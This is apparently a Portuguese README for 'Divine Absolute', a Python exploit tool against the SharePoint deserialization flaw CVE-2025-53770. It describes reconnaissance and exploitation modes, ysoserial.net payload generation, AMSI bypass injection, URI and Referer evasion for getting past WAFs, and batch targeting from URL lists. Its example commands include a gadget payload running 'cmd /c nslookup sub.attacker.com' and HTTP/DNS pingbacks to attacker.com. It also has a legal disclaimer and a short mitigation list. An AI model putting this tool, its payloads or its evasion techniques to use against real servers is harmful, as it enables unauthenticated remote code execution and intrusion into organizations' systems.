Divine Absolute - Ferramenta de Exploração CVE-2025-53770

Visão Geral

Divine Absolute é uma sofisticada ferramenta de exploração Python orientada por assistente, direcionada à CVE-2025-53770, uma vulnerabilidade crítica (CVSS 9.8) de execução remota de código (RCE) não autenticada em servidores SharePoint on-premises da Microsoft (2016, 2019, Subscription Edition). Esta vulnerabilidade, divulgada como zero-day em 19 de julho de 2025, decorre da desserialização de dados não confiáveis em /_layouts/15/ToolPane.aspx. A ferramenta é projetada apenas para testes de penetração éticos e pesquisa de segurança autorizada, oferecendo precisão, furtividade e adaptabilidade incomparáveis para reconhecimento, exploração e verificação.

Repositório: https://github.com/exfil0/CVE-2025-53770

⚠️ Aviso Legal: Esta ferramenta é para uso lícito e autorizado apenas em ambientes controlados, com permissão explícita. O uso não autorizado contra sistemas que você não possui ou não tem permissão para testar é ilegal e pode resultar em graves consequências legais. O autor não assume qualquer responsabilidade por uso indevido.

Funcionalidades

• Modos:
  • Reconhecimento: Detecta presença do SharePoint, versão e acessibilidade de ToolPane.aspx com pontuação avançada e regex (ex.: 16.0.0.\d+-\w+?).
  • Exploração: Envia payloads via ToolPane.aspx com bypasses robustos.
  • Completo: Combina reconhecimento e exploração, com opção de exploração agressiva.
• Geração de Payloads:
  • Integra ysoserial.net para payloads de desserialização .NET (ex.: ObjectDataProvider, LosFormatter).
  • pythonnet opcional para payloads de fallback HTTP/DNS pingback (ex.: WebRequest.Create, Dns.GetHostEntry).
  • Suporta compressão GZIP com codificação/decodificação explícita e validação base64.
  • Injeta bypasses AMSI (reflexão básica, ofuscada ou snippets personalizados) em comandos PowerShell, incluindo payloads codificados em base64 (-enc).
• Bypasses:
  • Evasão de URI: Sufixos aleatórios ou fixos (ex.: /xp.aspx, baseado em UUID).
  • Spoofing de Referer: Nenhum, domínios externos (ex.: www.google.com), URLs personalizados ou caminhos internos do SharePoint (ex.: /_layouts/15/sharepoint.aspx).

Contexto da CVE-2025-53770

• Vulnerabilidade: RCE não autenticada via desserialização em /_layouts/15/ToolPane.aspx.
• Atingidos: SharePoint Server 2016, 2019, Subscription Edition (EOL 2010/2013 também vulneráveis).
• Não Atingidos: SharePoint Online (M365).
• Explorado: Desde 18 de julho de 2025, em campanhas como "ToolShell" por atores patrocinados por estados (ex.: Linen Typhoon).
• Correções: Patches da Microsoft (ex.: KB5002768, KB5002754) lançados em 19 de julho de 2025, mitigam totalmente. Listagem CISA KEV exige correção federal até 21 de julho de 2025.
• Mitigações: Aplicar patch, rotacionar chaves pós-patch, habilitar AMSI/Defender (Modo Completo), monitorar POSTs em /ToolPane.aspx, usar regras WAF (ex.: Cloudflare).

Instalação

Pré-requisitos

• Python 3.8+
• Dependências:
  root@kitploit:~

  pip install requests termcolor
  

• Opcional (para fallback de serialização .NET):
  root@kitploit:~

  pip install pythonnet
  

• ysoserial.net:
  • Baixar de ysoserial.net releases.
  • Colocar ysoserial.exe em um caminho conhecido (ex.: ./ysoserial.exe).
• Mono/Wine (sistemas não Windows):
  root@kitploit:~

  # Ubuntu/Debian
  sudo apt-get install mono-complete
  # macOS (via Homebrew)
  brew install mono
  

• Laboratório Docker (recomendado para testes):
  root@kitploit:~

  docker pull mcr.microsoft.com/sharepoint/server:2019
  

Configuração

1. Clonar o repositório:
   root@kitploit:~

   git clone https://github.com/exfil0/CVE-2025-53770.git
   cd CVE-2025-53770
   

2. Instalar dependências Python:
   root@kitploit:~

   pip install -r requirements.txt
   

3. Garantir que ysoserial.exe esteja acessível ou fornecer seu caminho durante a execução.
4. (Opcional) Verificar Mono/Wine para sistemas não Windows.

Uso

Executar o assistente interativo:

python divine_absolute.py

Fluxo de Trabalho

1. Seleção de Modo:
   • Reconhecimento: Escaneia a presença e versão do SharePoint.
   • Exploração: Envia payload para ToolPane.aspx.
   • Completo: Reconhecimento + exploração (modo agressivo opcional).
2. Entrada de Alvo:
   • URL única (ex.: https://sharepoint.example.com).
   • Arquivo com URLs (uma por linha).
3. Configuração de Payload:
   • ysoserial.net: Especificar caminho, gadget (ex.: ObjectDataProvider) e comando (ex.: cmd /c whoami).
   • Arquivo: Carregar payload base64 GZIP de arquivo.
   • String: Inserir payload base64 GZIP diretamente.
   • Pingback: Gerar pingback HTTP/DNS (ex.: http://attacker.com/callback ou sub.attacker.com).
   • Bypass AMSI: Escolher NONE, , ou snippet personalizado.

Exemplos de Comandos

• Reconhecimento:
  root@kitploit:~

  python divine_absolute.py
  # Selecionar: Modo=Reconhecimento, Alvo=https://sharepoint.example.com
  

• Exploração com ysoserial.net:
  root@kitploit:~

  python divine_absolute.py
  # Selecionar: Modo=Exploração, Alvo=https://sharepoint.example.com, Payload=YSOSERIAL,
  #             caminho ysoserial.exe=./ysoserial.exe, Gadget=ObjectDataProvider,
  #             Comando="cmd /c echo %COMPUTERNAME% > C:\Temp\out.txt"
  

• Modo Completo com Verificação:
  root@kitploit:~

  python divine_absolute.py
  # Selecionar: Modo=Completo, Alvo=target_list.txt, Payload=FILE, Payload File=payload.b64,
  #             Verify Path=/sitepages/out.txt, Regexes="COMPUTERNAME", Status Codes=200
  

• Pingback DNS:
  root@kitploit:~

  python divine_absolute.py
  # Selecionar: Modo=Exploração, Payload=PINGBACK, Pingback URL=sub.attacker.com
  

Saída

Os resultados são salvos em xanthorox_results.json com os campos:

• target: URL testada.
• sharepoint_detected: Booleano.
• toolpane_accessible: Booleano.
• exploited: Booleano (payload enviado).
• verified_rce: Booleano/None (RCE confirmado).
• error: Quaisquer erros encontrados.

Exemplo:

[
  {
    "target": "https://sharepoint.example.com",
    "sharepoint_detected": true,
    "toolpane_accessible": true,
    "exploited": true,
    "verified_rce": true,
    "error": null
  }
]

Melhorias Abordadas

Esta versão corrige:

• Limitação Adaptativa de Taxa: Ignora erros não relacionados a repetições (ex.: 404) para contagens de sucesso/erro; impõe um limite mínimo de RPS (0,01).
• Injeção AMSI: Decodifica e injeta bypasses em comandos PowerShell codificados em base64 (-enc); suporta não-PowerShell (ex.: cmd.exe) com avisos.
• Fallback Pingback: Usa pythonnet para pingback DNS confiável com Dns.GetHostEntry (experimental, requer gadget para efeito total).

Recomendações de Teste

• Configuração de Laboratório: Use um contêiner Docker do SharePoint Server 2019 (sem patch) para testes seguros.
• Testes WAF: Valide bypasses contra Cloudflare ou WAFs similares com RPS adaptativo.
• Testes de Payload: Gere payloads com ysoserial.exe -f LosFormatter -g ObjectDataProvider -c "cmd /c nslookup sub.attacker.com" -o base64 e verifique logs DNS.

Limitações Conhecidas

• Confiabilidade Pingback: Dns.GetHostEntry no pythonnet pode não disparar sem uma cadeia de gadgets específica.
• Comandos Complexos: Comandos PowerShell não padrão podem exigir injeção manual de bypass AMSI.
• Detecção WAF: Alguns WAFs podem bloquear payloads apesar dos bypasses; teste minuciosamente.

Contribuindo

Contribuições são bem-vindas! Por favor:

1. Faça um fork do repositório.
2. Crie um branch de funcionalidade (git checkout -b feature/minha-melhoria-incrivel).
3. Commit as alterações (git commit -m "Adicionar melhoria incrível").
4. Envie para o branch (git push origin feature/minha-melhoria-incrivel).
5. Abra um pull request.

Licença

Este projeto está licenciado sob a Licença MIT. Veja LICENSE para detalhes.

Agradecimentos

• xAI: Por inspirar pesquisa de segurança de ponta.
• Equipe ysoserial.net: Pelo gerador de payloads de desserialização .NET.
• Comunidade de Segurança: Pelas percepções sobre exploração e mitigações da CVE-2025-53770.

Contato

• Autor: @exfil0
• Issues: GitHub Issues
• Telegram: https://t.me/GOTOCVE

Nota: Sempre verifique payloads e configurações em um laboratório controlado antes do uso. Mantenha-se ético, mantenha-se legal.